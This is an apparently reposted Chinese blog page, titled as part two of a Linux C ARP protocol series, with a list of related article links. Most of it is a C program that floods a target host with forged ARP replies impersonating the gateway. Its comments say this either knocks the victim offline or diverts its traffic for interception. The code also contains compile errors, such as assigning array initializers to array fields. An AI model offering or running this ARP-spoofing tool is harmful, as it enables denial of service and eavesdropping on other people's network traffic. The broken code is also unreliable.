linux c arp协议分析二 - 打造并发送自己的arp包
来源:互联网 发布:飞升游戏升级数据 编辑:程序博客网 时间:2024/05/23 13:17
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/types.h>#include <sys/socket.h>#include <arpa/inet.h>#include <net/ethernet.h>#include <netpacket/packet.h>#include <net/if.h>//如果只是想让对方断网,那就把mac源都设成MAC_TRICK,//想截获数据包那就用MAC_SOURCE#define MAC_TRICK {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}#define MAC_SOURCE {0x00, 0x0c, 0x29, 0xc7, 0x16, 0x33}//冒充的IP#define IP_TRICK "192.168.1.1"//目标机器的MAC#define MAC_TARGET {0x6c, 0x62, 0x6d, 0x3e, 0x8d, 0x60}//目标机器的IP#define IP_TARGET "192.168.1.64"struct arp_packet{//DLC Header//接收方macunsigned char mac_target[ETH_ALEN];//发送方macunsigned char mac_source[ETH_ALEN];//Ethertype - 0x0806是ARP帧的类型值unsigned short ethertype;//ARP Frame//硬件类型 - 以太网类型值0x1unsigned short hw_type;//上层协议类型 - IP协议(0x0800)unsigned short proto_type;//MAC地址长度unsigned char mac_addr_len;//IP地址长度unsigned char ip_addr_len;//操作码 - 0x1表示ARP请求包,0x2表示应答包unsigned short operation_code;//发送方macunsigned char mac_sender[ETH_ALEN];//发送方ipunsigned char ip_sender[4];//接收方macunsigned char mac_receiver[ETH_ALEN];//接收方ipunsigned char ip_receiver[4];//填充数据unsigned char padding[18];};void die(const char *pre);int main(void){int sfd, len;struct arp_packet ap;struct in_addr inaddr_sender, inaddr_receiver;struct sockaddr_ll sl;sfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));if(-1 == sfd){perror("socket");}memset(&ap, 0, sizeof(arp_packet));ap.mac_target = MAC_TARGET;ap.mac_source = MAC_TRICK;ap.ethertype = htons(0x0806);ap.hw_type = htons(0x1);ap.proto_type = htons(0x0800);ap.mac_addr_len = ETH_ALEN;ap.ip_addr_len = 4;ap.operation_code = htons(0x2);ap.mac_sender = MAC_TRICK;inet_aton(IP_TRICK, &inaddr_sender);memcpy(&ap.ip_sender, &inaddr_sender, sizeof(inaddr_sender));ap.mac_receiver = MAC_TARGET;inet_aton(IP_TARGET, &inaddr_receiver);memcpy(&ap.ip_receiver, &inaddr_receiver, sizeof(inaddr_receiver));memset(&sl, 0, sizeof(sl));sl.sll_family = AF_PACKET;//sl.sll_addr = MAC_SOURCE;//sl.sll_halen = ETH_ALEN;sl.sll_ifindex = IFF_BROADCAST;//非常重要while(1){len = sendto(sfd, &ap, sizeof(ap), 0, (struct sockaddr*)&sl, sizeof(sl));if(-1 == len){die("sendto");}}return 0;}void die(const char *pre){perror(pre);exit(1);}
- linux c arp协议分析二 - 打造并发送自己的arp包
- linux c arp协议分析一 - 捕捉局域网内的arp包
- linux c arp协议分析三 - 捕捉并分析tcp包
- C/C++手动构造ARP包并发送至网络
- uIP的ARP协议分析
- TCP/IP协议分析--ARP包
- 【协议分析】ARP协议
- ARP协议分析
- ARP协议分析
- [转]ARP协议分析
- arp协议分析
- ARP协议分析
- lwIP ARP协议分析
- ARP协议分析[转]
- ARP协议分析
- ARP协议分析
- ARP协议分析
- ARP协议分析
- JAVA POI excel文档解析与生成
- 横竖屏切换时候Activity的生命周期
- Mongodb相关学习资料
- POJ 2287
- artdialog 是一个精巧的web对话框组件,压缩后只有十多KB,并且不依赖其他框架。
- linux c arp协议分析二 - 打造并发送自己的arp包
- 实现换页打印
- Struts1.x+Hibernate+FCKedit+Mysql在线天下新闻管理系统项目示例图
- Ubuntu 10.10&11.04安装Java+Eclipse及其配置
- Android横竖屏切换解决方案
- ckeditor和ckfinder 在ASP.NET 中的使用
- 2011-07-23
- C语言的那些小秘密之链表(一)
- linux设备驱动中的阻塞IO和非阻塞IO